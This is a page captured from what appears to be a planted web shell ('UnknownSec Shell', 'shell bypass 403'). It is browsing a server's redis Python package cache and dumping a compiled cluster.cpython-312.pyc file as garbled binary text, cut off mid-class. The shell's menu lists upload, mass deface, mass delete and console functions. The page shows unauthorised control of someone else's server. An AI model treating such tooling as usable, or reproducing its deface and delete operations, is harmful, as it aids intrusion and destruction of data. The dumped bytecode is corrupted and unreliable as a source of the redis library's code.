shell bypass 403
UnknownSec Shell
:
/
lib
/
python3
/
dist-packages
/
redis
/
commands
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
cluster.cpython-312.pyc
� ���b t � �� � d dl Z d dlmZmZmZmZmZmZmZm Z m Z mZmZ d dl mZ d dlmZ d dlmZmZ d dlmZmZmZmZmZmZ ddlmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z' dd l(m)Z) dd l*m+Z+ erd dl,m-Z- e.g d�� Z/ G d � de� Z0 G d� de0� Z1 G d� de$� Z2 G d� de2e � Z3 G d� de"� Z4 G d� de4e� Z5 G d� de0e2ee%e4e'e#e+� Z6 G d� de1e3ee5e!e� Z7y)� N)� TYPE_CHECKING�Any� AsyncIterator�Dict�Iterable�Iterator�List�Mapping�NoReturn�Optional�Union)�Literal)�key_slot)�RedisClusterException� RedisError)�AnyKeyT�ClusterCommandsProtocol� EncodableT�KeysT�KeyT�PatternT� )�ACLCommands�AsyncACLCommands�AsyncDataAccessCommands�AsyncFunctionCommands�AsyncManagementCommands�AsyncScriptCommands�DataAccessCommands�FunctionCommands�ManagementCommands�PubSubCommands� ResponseT�ScriptCommands)�list_or_args)�RedisModuleCommands)�TargetNodesT)'�BITCOUNT�BITPOS�EXISTS�GEODIST�GEOHASH�GEOPOS� GEORADIUS�GEORADIUSBYMEMBER�GET�GETBIT�GETRANGE�HEXISTS�HGET�HGETALL�HKEYS�HLEN�HMGET�HSTRLEN�HVALS�KEYS�LINDEX�LLEN�LRANGE�MGET�PTTL� RANDOMKEY�SCARD�SDIFF�SINTER� SISMEMBER�SMEMBERS�SRANDMEMBER�STRLEN�SUNION�TTL�ZCARD�ZCOUNT�ZRANGE�ZSCOREc �X � e Zd ZdZdee deeee f fd�Z de eef deeee f fd�Z dede eee f dee fd �Zdee de eee f d ee dee fd�Zdededeee fd �Zde eef dee fd�Zdededefd�Zdedefd�Zdedefd�Zdedefd�Zdedefd�Zy)�ClusterMultiKeyCommands�C A class containing commands that handle more than one key �keys�returnc � � i }|D ]G }t | j j |� � }|j |g � j |� �I |S )z@Split keys into a dictionary that maps a slot to a list of keys.)r �encoder�encode� setdefault�append)�selfrR � slots_to_keys�key�slots �8/usr/lib/python3/dist-packages/redis/commands/cluster.py�_partition_keys_by_slotz/ClusterMultiKeyCommands._partition_keys_by_slote sT � � � �� ;�C��D�L�L�/�/��4�5�D��$�$�T�2�.�5�5�c�:� ;� �� �mappingc �� � i }|j � D ]J }t | j j |d � � }|j |g � j |� �L |S )zBSplit pairs into a dictionary that maps a slot to a list of pairs.r )�itemsr rU rV rW �extend)rY r` �slots_to_pairs�pairr\ s r] �_partition_pairs_by_slotz0ClusterMultiKeyCommands._partition_pairs_by_sloto s^ � � ���M�M�O� =�D��D�L�L�/�/��Q��8�9�D��%�%�d�B�/�6�6�t�<� =� �r_ �command� slots_to_argsc � � | j xr |t v }| j � }|j � D ��cg c]6 \ }} |j |g|��d| j j ||� gi���8 c}} |j � S c c}}w )N�target_nodes)�read_from_replicas� READ_COMMANDS�pipelinerb �execute_command� nodes_manager�get_node_from_slot�execute)rY rg rh rk �piper\ � slot_argss r] �_execute_pipeline_by_slotz1ClusterMultiKeyCommands._execute_pipeline_by_slot{ s� � � "�4�4�Q��M�9Q���}�}��� $1�#6�#6�#8� � ��i� !�D� � �� �� � �&�&�9�9�$�@R�S�� � � �|�|�~��� s �;B � responsesc �� � t |j � |� D ����ci c] \ }}t ||� D ] \ }}||�� � }}}}}|D � cg c] } || �� c} S c c}}}}w c c} w �N)�zip�values) rY rR rh ru �slot_values�response�k�v�resultsr[ s r] �_reorder_keys_by_commandz0ClusterMultiKeyCommands._reorder_keys_by_command� s � � *-�]�-A�-A�-C�Y�)O� � �%��X��K��2� � ��1� �q�D� � � �� � )-�-�����-�-�� �� .s �!A � A!�argsc � � t ||� }| j |� }| j d|� }| j |||� S )�A Splits the keys into different slots and then calls MGET for the keys of every slot. This operation will not be atomic if keys belong to more than one slot. Returns a list of values ordered identically to ``keys`` For more information see https://redis.io/commands/mget r? �r% r^ rt r �rY rR r� rZ �ress r] �mget_nonatomicz&ClusterMultiKeyCommands.mget_nonatomic� sM � � �D�$�'�� �4�4�T�:� � �,�,�V�]�C�� �,�,�T�=�#�F�Fr_ c �H � | j |� }| j d|� S )� Sets key/values based on a mapping. Mapping is a dictionary of key/value pairs. Both keys and values should be strings or types that can be cast to a string via str(). Splits the keys into different slots and then calls MSET for the keys of every slot. This operation will not be atomic if keys belong to more than one slot. For more information see https://redis.io/commands/mset �MSET�rf rt �rY r` rd s r] �mset_nonatomicz&ClusterMultiKeyCommands.mset_nonatomic� s) � � �6�6�w�?�� �-�-�f�n�E�Er_ c �Z � | j |� }t | j ||� � S )�v Runs the given command once for the keys of each slot. Returns the sum of the return values. �r^ �sumrt �rY rg rR rZ s r] �_split_command_across_slotsz3ClusterMultiKeyCommands._split_command_across_slots� s. � � �4�4�T�:� � �4�1�1�'�=�I�J�Jr_ c �( � | j dg|��� S )z� Returns the number of ``names`` that exist in the whole cluster. The keys are first split up into slots and then an EXISTS command is sent for every slot For more information see https://redis.io/commands/exists r* �r� �rY rR s r] �existszClusterMultiKeyCommands.exists� s � � 0�t�/�/��@�4�@�@r_ c �( � | j dg|��� S )a< Deletes the given keys in the cluster. The keys are first split up into slots and then an DEL command is sent for every slot Non-existant keys are ignored. Returns the number of keys that were deleted. For more information see https://redis.io/commands/del �DELr� r� s r] �deletezClusterMultiKeyCommands.delete� s � � 0�t�/�/��=��=�=r_ c �( � | j dg|��� S )aa Updates the last access time of given keys across the cluster. The keys are first split up into slots and then an TOUCH command is sent for every slot Non-existant keys are ignored. Returns the number of keys that were touched. For more information see https://redis.io/commands/touch �TOUCHr� r� s r] �touchzClusterMultiKeyCommands.touch� s � � 0�t�/�/��?�$�?�?r_ c �( � | j dg|��� S )aM Remove the specified keys in a different thread. The keys are first split up into slots and then an TOUCH command is sent for every slot Non-existant keys are ignored. Returns the number of keys that were unlinked. For more information see https://redis.io/commands/unlink �UNLINKr� r� s r] �unlinkzClusterMultiKeyCommands.unlink� s � � 0�t�/�/��@�4�@�@r_ N)�__name__� __module__�__qualname__�__doc__r r r �intr r^ r r r rf �strr rt r r r r� �boolr� r� r# r� r� r� r� � r_ r] rP rP ` s� � ���H�T�N� �t�C��d��O�?T� � ��w� �2�3� � �c�4� �#�#� $� ����+2�3���8L�3L�+M�� �c���".��t�n�.� �s�H�Z�$8�8�9�.� �C�=� .� �c��.�G�5� G�� G�$�x��}�:M� G�.F�g�g�z�.A�&B� F�t�D�z� F�& K�3� K�t� K�� K�A�D� A�Y� A�>�D� >�Y� >� @�4� @�I� @�A�D� A�Y� Ar_ rP c �d � e Zd ZdZdededeee fd�Z de eef dee fd�Zdededefd �Zy )�AsyncClusterMultiKeyCommandsrQ rR r� rS c � � K � t ||� }| j |� }| j d|� � d{ ��� }| j |||� S 7 ��w)r� r? Nr� r� s r] r� z+AsyncClusterMultiKeyCommands.mget_nonatomic sZ � �� � �D�$�'�� �4�4�T�:� � �2�2�6�=�I�I�� �,�,�T�=�#�F�F� J�s �3A�A �Ar` c � �d K � | j |� }| j d|� � d{ ��� S 7 ��w)r� r� Nr� r� s r] r� z+AsyncClusterMultiKeyCommands.mset_nonatomic s3 � �� � �6�6�w�?�� �3�3�F�N�K�K�K�K�s �'0�.�0rg c � �v K � | j |� }t | j ||� � d{ ��� � S 7 ��w)r� Nr� r� s r] r� z8AsyncClusterMultiKeyCommands._split_command_across_slots3 s8 � �� � �4�4�T�:� � ��7�7���O�O�P�P�O�s �,9�7� 9N)r� r� r� r� r r r r r r� r r r r� r� r� r� r� r� r_ r] r� r� sq � ��G�� G�t� G��X�c�]�@S� G�.L�G�G�Z�4G�,H� L�T�RV�Z� L�& Q�� Q�T� Q�c� Qr_ r� c �N � e Zd ZdZdefd�Zdefd�Zdefd�Zdddefd�Z ddd e defd �Zddd e defd�Zde defd �Zdedefd�Zd e dee fd�Zd e defd�Z d/dddee defd�Zd/ded defd�Zdedefd�Z d/dede ded defd�Zdefd�Zdddedefd�Z d0deded defd�Z d/ded defd �Zd!e d"e defd#�Z d/d$e ded defd%�Zdddede d&edef d'�Z de defd(�Z! d/deded defd)�Z"d/ded defd*�Z#d/d+�Z$dddefd,�Z%d/ded defd-�Z&d/ded defd.�Z'y)1�ClusterManagementCommands�� A class for Redis Cluster management commands The class inherits from Redis's core ManagementCommands class and do the required adjustments to work with cluster mode rS c � � t d� �)z� Make the server a replica of another instance, or promote it as master. For more information see https://redis.io/commands/slaveof z(SLAVEOF is not supported in cluster mode�r �rY r� �kwargss r] �slaveofz!ClusterManagementCommands.slaveofH s � � $�$N�O�Or_ c � � t d� �)z� Make the server a replica of another instance, or promote it as master. For more information see https://redis.io/commands/replicaof z*REPLICAOF is not supported in cluster moder� r� s r] � replicaofz#ClusterManagementCommands.replicaofP s � � $�$P�Q�Qr_ c � � t d� �)zo Swaps two Redis databases. For more information see https://redis.io/commands/swapdb z'SWAPDB is not supported in cluster moder� r� s r] �swapdbz ClusterManagementCommands.swapdbX s � � $�$M�N�Nr_ �target_noder'